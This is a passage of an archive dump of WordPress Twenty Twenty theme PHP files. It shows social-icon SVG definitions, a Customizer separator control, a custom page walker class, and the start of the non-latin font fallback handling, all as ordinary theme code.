c-0.1,0-0.1,0-0.1-0.1L2.8,14L3,12.2C3,12.2,3,12.2,3.1,12.2C3.1,12.2,3.1,12.2,3.1,12.2z M3.9,11.9L4.1,14l-0.2,2.1 c0,0.1,0,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L3.5,14l0.2-2.1c0-0.1,0-0.1,0.1-0.1C3.9,11.8,3.9,11.8,3.9,11.9z M4.7,11.9L4.9,14 l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c-0.1,0-0.1,0-0.1-0.1L4.3,14l0.2-2.2c0-0.1,0-0.1,0.1-0.1C4.7,11.7,4.7,11.8,4.7,11.9z M5.6,12 l0.2,2l-0.2,2.1c0,0.1-0.1,0.1-0.1,0.1c0,0-0.1,0-0.1,0c0,0,0-0.1,0-0.1L5.1,14l0.2-2c0,0,0-0.1,0-0.1s0.1,0,0.1,0 C5.5,11.9,5.5,11.9,5.6,12L5.6,12z M6.4,10.7L6.6,14l-0.2,2.1c0,0,0,0.1,0,0.1c0,0-0.1,0-0.1,0c-0.1,0-0.1-0.1-0.2-0.2L5.9,14 l0.2-3.3c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0C6.4,10.7,6.4,10.7,6.4,10.7z M7.2,10l0.2,4.1l-0.2,2.1c0,0,0,0.1,0,0.1 c0,0-0.1,0-0.1,0c-0.1,0-0.2-0.1-0.2-0.2l-0.1-2.1L6.8,10c0-0.1,0.1-0.2,0.2-0.2c0,0,0.1,0,0.1,0S7.2,9.9,7.2,10z M8,9.6L8.2,14 L8,16.1c0,0.1-0.1,0.2-0.2,0.2c-0.1,0-0.2-0.1-0.2-0.2L7.5,14l0.1-4.4c0-0.1,0-0.1,0.1-0.1c0,0,0.1-0.1,0.1-0.1c0.1,0,0.1,0,0.1,0.1 C8,9.6,8,9.6,8,9.6z M11.4,16.1L11.4,16.1L11.4,16.1z M9.7,9.6L9.8,14l-0.1,2.1c0,0.1,0,0.1-0.1,0.2s-0.1,0.1-0.2,0.1 c-0.1,0-0.1,0-0.1-0.1s-0.1-0.1-0.1-0.2L9.2,14l0.1-4.4c0-0.1,0-0.1,0.1-0.2s0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S9.7,9.5,9.7,9.6 L9.7,9.6z M10.6,9.8l0.1,4.3l-0.1,2c0,0.1,0,0.1-0.1,0.2c0,0-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c0,0-0.1-0.1-0.1-0.2L10,14 l0.1-4.3c0-0.1,0-0.1,0.1-0.2c0,0,0.1-0.1,0.2-0.1c0.1,0,0.1,0,0.2,0.1S10.6,9.7,10.6,9.8z M12.4,14l-0.1,2c0,0.1,0,0.1-0.1,0.2 c-0.1,0.1-0.1,0.1-0.2,0.1c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2l-0.1-1l-0.1-1l0.1-5.5v0c0-0.1,0-0.2,0.1-0.2 c0.1,0,0.1-0.1,0.2-0.1c0,0,0.1,0,0.1,0c0.1,0,0.1,0.1,0.1,0.2L12.4,14z M22.1,13.9c0,0.7-0.2,1.3-0.7,1.7c-0.5,0.5-1.1,0.7-1.7,0.7 h-6.8c-0.1,0-0.1,0-0.2-0.1c-0.1-0.1-0.1-0.1-0.1-0.2V8.2c0-0.1,0.1-0.2,0.2-0.3c0.5-0.2,1-0.3,1.6-0.3c1.1,0,2.1,0.4,2.9,1.1 c0.8,0.8,1.3,1.7,1.4,2.8c0.3-0.1,0.6-0.2,1-0.2c0.7,0,1.3,0.2,1.7,0.7C21.8,12.6,22.1,13.2,22.1,13.9L22.1,13.9z"></path></svg>', 'spotify' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12,2C6.477,2,2,6.477,2,12c0,5.523,4.477,10,10,10c5.523,0,10-4.477,10-10C22,6.477,17.523,2,12,2 M16.586,16.424 c-0.18,0.295-0.563,0.387-0.857,0.207c-2.348-1.435-5.304-1.76-8.785-0.964c-0.335,0.077-0.67-0.133-0.746-0.469 c-0.077-0.335,0.132-0.67,0.469-0.746c3.809-0.871,7.077-0.496,9.713,1.115C16.673,15.746,16.766,16.13,16.586,16.424 M17.81,13.7 c-0.226,0.367-0.706,0.482-1.072,0.257c-2.687-1.652-6.785-2.131-9.965-1.166C6.36,12.917,5.925,12.684,5.8,12.273 C5.675,11.86,5.908,11.425,6.32,11.3c3.632-1.102,8.147-0.568,11.234,1.328C17.92,12.854,18.035,13.335,17.81,13.7 M17.915,10.865 c-3.223-1.914-8.54-2.09-11.618-1.156C5.804,9.859,5.281,9.58,5.131,9.086C4.982,8.591,5.26,8.069,5.755,7.919 c3.532-1.072,9.404-0.865,13.115,1.338c0.445,0.264,0.59,0.838,0.327,1.282C18.933,10.983,18.359,11.129,17.915,10.865"></path></svg>', 'tumblr' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M16.749,17.396c-0.357,0.17-1.041,0.319-1.551,0.332c-1.539,0.041-1.837-1.081-1.85-1.896V9.847h3.861V6.937h-3.847V2.039 c0,0-2.77,0-2.817,0c-0.046,0-0.127,0.041-0.138,0.144c-0.165,1.499-0.867,4.13-3.783,5.181v2.484h1.945v6.282 c0,2.151,1.587,5.206,5.775,5.135c1.413-0.024,2.982-0.616,3.329-1.126L16.749,17.396z"></path></svg>', 'tiktok' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.601273,3.99398422 C22.3543419,3.81786432 22.035286,3.77722295 21.7519316,3.88579503 C20.7673827,4.3053476 19.6367473,4.19781761 18.749359,3.60023293 C17.8619707,3.00264826 17.3390468,1.99663905 17.3606558,0.92862387 C17.366873,0.687165991 17.2757319,0.453316101 17.1076605,0.279488738 C16.937965,0.101864383 16.7030375,0.000936521363 16.4571011,0 L12.8428824,0 C12.343863,0 11.9393277,0.403649581 11.9393277,0.901576573 L11.9393277,16.3365675 C11.9393277,17.581385 10.9279897,18.5905089 9.68044104,18.5905089 C8.43289237,18.5905089 7.42155434,17.581385 7.42155434,16.3365675 C7.42155434,15.09175 8.43289237,14.0826261 9.68044104,14.0826261 C10.1794605,14.0826261 10.5839957,13.6789765 10.5839957,13.1810495 L10.5839957,9.57474321 C10.5839957,9.07681622 10.1794605,8.67316663 9.68044104,8.67316663 C5.44083962,8.67813472 2.00520525,12.1062476 2.00022626,16.3365675 C1.98771579,17.9546233 2.49430163,19.5342383 3.44591375,20.8444504 C3.61458557,21.0808398 5.05966461,19.9481604 4.91870788,19.7535427 C4.19555103,18.760421 3.80646351,17.5641499 3.80733562,16.3365675 C3.81165144,13.4484211 5.91803869,10.991254 8.77688636,10.5394301 L8.77688636,12.3425833 C6.70706914,12.8134053 5.34862709,14.7938709 5.65804701,16.8895228 C5.96746693,18.9851748 7.84059425,20.4905907 9.95854931,20.3457987 C12.0765044,20.2010067 13.7263573,18.4547454 13.7464371,16.3365675 L13.7464371,1.80315315 L15.6167953,1.80315315 C16.0103639,4.20249558 18.0864975,5.96506252 20.5230972,5.96843692 C20.7496837,5.96688212 20.975975,5.95182905 21.2007632,5.92335809 L21.2007632,7.67241664 C19.7293748,7.92650626 18.2152284,7.66195137 16.917914,6.92410808 C16.6383532,6.76305694 16.2939201,6.76305694 16.0143593,6.92410808 C15.7336844,7.0857977 15.5612953,7.38509793 15.562582,7.7084797 L15.562582,16.3365675 C15.5580692,18.2941869 14.5756972,20.1206948 12.9432814,21.2065896 C11.9060301,21.8965766 10.6930991,22.229824 9.48148608,22.189012 C8.78627447,22.1655944 8.08246121,22.0477035 7.42155434,21.774707 C7.12504167,21.5395062 5.484375,20.8444504 4.91870788,19.7535427 C4.66351437,19.2613936 3.0238563,20.6306805 3.44591375,20.8444504 C4.91870788,23.1351563 7.99726562,23.9999684 9.69851213,23.9999684 C13.7074483,23.9999684 17.0406982,20.9190082 17.3606558,16.931608 C17.3657425,16.8836579 17.3657425,16.8353059 17.3606558,16.7873558 L17.3606558,9.10592339 C18.9684136,9.66657941 20.7106733,9.71696914 22.3482777,9.25017564 C22.7469793,9.13449784 23.0153499,8.76257691 22.998837,8.34859907 L22.998837,4.7873716 C23.0148813,4.47165088 22.8640303,4.17060935 22.601273,3.99398422 Z" /></svg>', 'twitch' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>', 'twitter' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>', 'vimeo' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>', 'vk' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>', 'whatsapp' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M16.75,13.96C17,14.09 17.16,14.16 17.21,14.26C17.27,14.37 17.25,14.87 17,15.44C16.8,16 15.76,16.54 15.3,16.56C14.84,16.58 14.83,16.92 12.34,15.83C9.85,14.74 8.35,12.08 8.23,11.91C8.11,11.74 7.27,10.53 7.31,9.3C7.36,8.08 8,7.5 8.26,7.26C8.5,7 8.77,6.97 8.94,7H9.41C9.56,7 9.77,6.94 9.96,7.45L10.65,9.32C10.71,9.45 10.75,9.6 10.66,9.76L10.39,10.17L10,10.59C9.88,10.71 9.74,10.84 9.88,11.09C10,11.35 10.5,12.18 11.2,12.87C12.11,13.75 12.91,14.04 13.15,14.17C13.39,14.31 13.54,14.29 13.69,14.13L14.5,13.19C14.69,12.94 14.85,13 15.08,13.08L16.75,13.96M12,2A10,10 0 0,1 22,12A10,10 0 0,1 12,22C10.03,22 8.2,21.43 6.65,20.45L2,22L3.55,17.35C2.57,15.8 2,13.97 2,12A10,10 0 0,1 12,2M12,4A8,8 0 0,0 4,12C4,13.72 4.54,15.31 5.46,16.61L4.5,19.5L7.39,18.54C8.69,19.46 10.28,20 12,20A8,8 0 0,0 20,12A8,8 0 0,0 12,4Z" /> </svg>', // phpcs:disable WordPress.WP.CapitalPDangit.Misspelled 'wordpress' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>', 'yelp' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>', 'youtube' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>', ); } } class-twentytwenty-separator-control.php 0000666 00000001044 15165342724 0014655 0 ustar 00 <?php /** * Customizer Separator Control settings for this theme. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( class_exists( 'WP_Customize_Control' ) ) { if ( ! class_exists( 'TwentyTwenty_Separator_Control' ) ) { /** * Separator Control. * * @since Twenty Twenty 1.0 */ class TwentyTwenty_Separator_Control extends WP_Customize_Control { /** * Render the hr. * * @since Twenty Twenty 1.0 */ public function render_content() { echo '<hr/>'; } } } } class-twentytwenty-walker-page.php 0000666 00000013102 15165342724 0013374 0 ustar 00 <?php /** * Custom page walker for this theme. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( ! class_exists( 'TwentyTwenty_Walker_Page' ) ) { /** * CUSTOM PAGE WALKER * A custom walker for pages. * * @since Twenty Twenty 1.0 */ class TwentyTwenty_Walker_Page extends Walker_Page { /** * Outputs the beginning of the current element in the tree. * * @since Twenty Twenty 1.0 * @since Twenty Twenty 1.9 Renamed `$page` to `$data_object` and `$current_page` to `$current_object_id` * to match parent class for PHP 8 named parameter support. * * @see Walker::start_el() * * @param string $output Used to append additional content. Passed by reference. * @param WP_Post $data_object Page data object. * @param int $depth Optional. Depth of page. Used for padding. Default 0. * @param array $args Optional. Array of arguments. Default empty array. * @param int $current_object_id Optional. ID of the current page. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) { // Restores the more descriptive, specific name for use within this method. $page = $data_object; $current_page_id = $current_object_id; if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) { $t = "\t"; $n = "\n"; } else { $t = ''; $n = ''; } if ( $depth ) { $indent = str_repeat( $t, $depth ); } else { $indent = ''; } $css_class = array( 'page_item', 'page-item-' . $page->ID ); if ( isset( $args['pages_with_children'][ $page->ID ] ) ) { $css_class[] = 'page_item_has_children'; } if ( ! empty( $current_page_id ) ) { $_current_page = get_post( $current_page_id ); if ( $_current_page && in_array( $page->ID, $_current_page->ancestors, true ) ) { $css_class[] = 'current_page_ancestor'; } if ( $page->ID === $current_page_id ) { $css_class[] = 'current_page_item'; } elseif ( $_current_page && $page->ID === $_current_page->post_parent ) { $css_class[] = 'current_page_parent'; } } elseif ( get_option( 'page_for_posts' ) === $page->ID ) { $css_class[] = 'current_page_parent'; } /** This filter is documented in wp-includes/class-walker-page.php */ $css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page_id ) ); $css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : ''; if ( '' === $page->post_title ) { /* translators: %d: ID of a post. */ $page->post_title = sprintf( __( '#%d (no title)', 'twentytwenty' ), $page->ID ); } $args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before']; $args['link_after'] = empty( $args['link_after'] ) ? '' : $args['link_after']; $atts = array(); $atts['href'] = get_permalink( $page->ID ); $atts['aria-current'] = ( $page->ID === $current_page_id ) ? 'page' : ''; /** This filter is documented in wp-includes/class-walker-page.php */ $atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page_id ); $attributes = ''; foreach ( $atts as $attr => $value ) { if ( ! empty( $value ) ) { $value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value ); $attributes .= ' ' . $attr . '="' . $value . '"'; } } $args['list_item_before'] = ''; $args['list_item_after'] = ''; // Wrap the link in a div and append a sub menu toggle. if ( isset( $args['show_toggles'] ) && true === $args['show_toggles'] ) { // Wrap the menu item link contents in a div, used for positioning. $args['list_item_before'] = '<div class="ancestor-wrapper">'; $args['list_item_after'] = ''; // Add a toggle to items with children. if ( isset( $args['pages_with_children'][ $page->ID ] ) ) { $toggle_target_string = '.menu-modal .page-item-' . $page->ID . ' > ul'; $toggle_duration = twentytwenty_toggle_duration(); // Add the sub menu toggle. $args['list_item_after'] .= '<button class="toggle sub-menu-toggle fill-children-current-color" data-toggle-target="' . $toggle_target_string . '" data-toggle-type="slidetoggle" data-toggle-duration="' . absint( $toggle_duration ) . '" aria-expanded="false"><span class="screen-reader-text">' . __( 'Show sub menu', 'twentytwenty' ) . '</span>' . twentytwenty_get_theme_svg( 'chevron-down' ) . '</button>'; } // Close the wrapper. $args['list_item_after'] .= '</div><!-- .ancestor-wrapper -->'; } // Add icons to menu items with children. if ( isset( $args['show_sub_menu_icons'] ) && true === $args['show_sub_menu_icons'] ) { if ( isset( $args['pages_with_children'][ $page->ID ] ) ) { $args['list_item_after'] = '<span class="icon"></span>'; } } $output .= $indent . sprintf( '<li%s>%s<a%s>%s%s%s</a>%s', $css_classes, $args['list_item_before'], $attributes, $args['link_before'], /** This filter is documented in wp-includes/post-template.php */ apply_filters( 'the_title', $page->post_title, $page->ID ), $args['link_after'], $args['list_item_after'] ); if ( ! empty( $args['show_date'] ) ) { if ( 'modified' === $args['show_date'] ) { $time = $page->post_modified; } else { $time = $page->post_date; } $date_format = empty( $args['date_format'] ) ? '' : $args['date_format']; $output .= ' ' . mysql2date( $date_format, $time ); } } } } class-twentytwenty-non-latin-languages.php 0000666 00000015555 15165342724 0015056 0 ustar 00 <?php /** * Non-latin language handling. * * Handle non-latin language styles. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( ! class_exists( 'TwentyTwenty_Non_Latin_Languages' ) ) { /** * Language handling. * * @since Twenty Twenty 1.0 */ class TwentyTwenty_Non_Latin_Languages { /** * Get custom CSS. * * Return CSS for non-latin language, if available, or null * * @since Twenty Twenty 1.0 * * @param string $type Whether to return CSS for the "front-end", "block-editor", or "classic-editor". * @return void */ public static function get_non_latin_css( $type = 'front-end' ) { // Fetch site locale. $locale = get_bloginfo( 'language' ); /** * Filters the fallback fonts for non-latin languages. * * @since Twenty Twenty 1.0 * * @param array $font_family An array of locales and font families. */ $font_family = apply_filters( 'twentytwenty_get_localized_font_family_types', array( // Arabic. 'ar' => array( 'Tahoma', 'Arial', 'sans-serif' ), 'ary' => array( 'Tahoma', 'Arial', 'sans-serif' ), 'azb' => array( 'Tahoma', 'Arial', 'sans-serif' ), 'ckb' => array( 'Tahoma', 'Arial', 'sans-serif' ), 'fa-IR' => array( 'Tahoma', 'Arial', 'sans-serif' ), 'haz' => array( 'Tahoma', 'Arial', 'sans-serif' ), 'ps' => array( 'Tahoma', 'Arial', 'sans-serif' ), // Chinese Simplified (China) - Noto Sans SC. 'zh-CN' => array( '\'PingFang SC\'', '\'Helvetica Neue\'', '\'Microsoft YaHei New\'', '\'STHeiti Light\'', 'sans-serif' ), // Chinese Traditional (Taiwan) - Noto Sans TC. 'zh-TW' => array( '\'PingFang TC\'', '\'Helvetica Neue\'', '\'Microsoft YaHei New\'', '\'STHeiti Light\'', 'sans-serif' ), // Chinese (Hong Kong) - Noto Sans HK. 'zh-HK' => array( '\'PingFang HK\'', '\'Helvetica Neue\'', '\'Microsoft YaHei New\'', '\'STHeiti Light\'', 'sans-serif' ), // Cyrillic. 'bel' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'bg-BG' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'kk' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'mk-MK' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'mn' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'ru-RU' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'sah' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'sr-RS' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'tt-RU' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), 'uk' => array( '\'Helvetica Neue\'', 'Helvetica', '\'Segoe UI\'', 'Arial', 'sans-serif' ), // Devanagari. 'bn-BD' => array( 'Arial', 'sans-serif' ), 'hi-IN' => array( 'Arial', 'sans-serif' ), 'mr' => array( 'Arial', 'sans-serif' ), 'ne-NP' => array( 'Arial', 'sans-serif' ), // Greek. 'el' => array( '\'Helvetica Neue\', Helvetica, Arial, sans-serif' ), // Gujarati. 'gu' => array( 'Arial', 'sans-serif' ), // Hebrew. 'he-IL' => array( '\'Arial Hebrew\'', 'Arial', 'sans-serif' ), // Japanese. 'ja' => array( 'sans-serif' ), // Korean. 'ko-KR' => array( '\'Apple SD Gothic Neo\'', '\'Malgun Gothic\'', '\'Nanum Gothic\'', 'Dotum', 'sans-serif' ), // Thai. 'th' => array( '\'Sukhumvit Set\'', '\'Helvetica Neue\'', 'Helvetica', 'Arial', 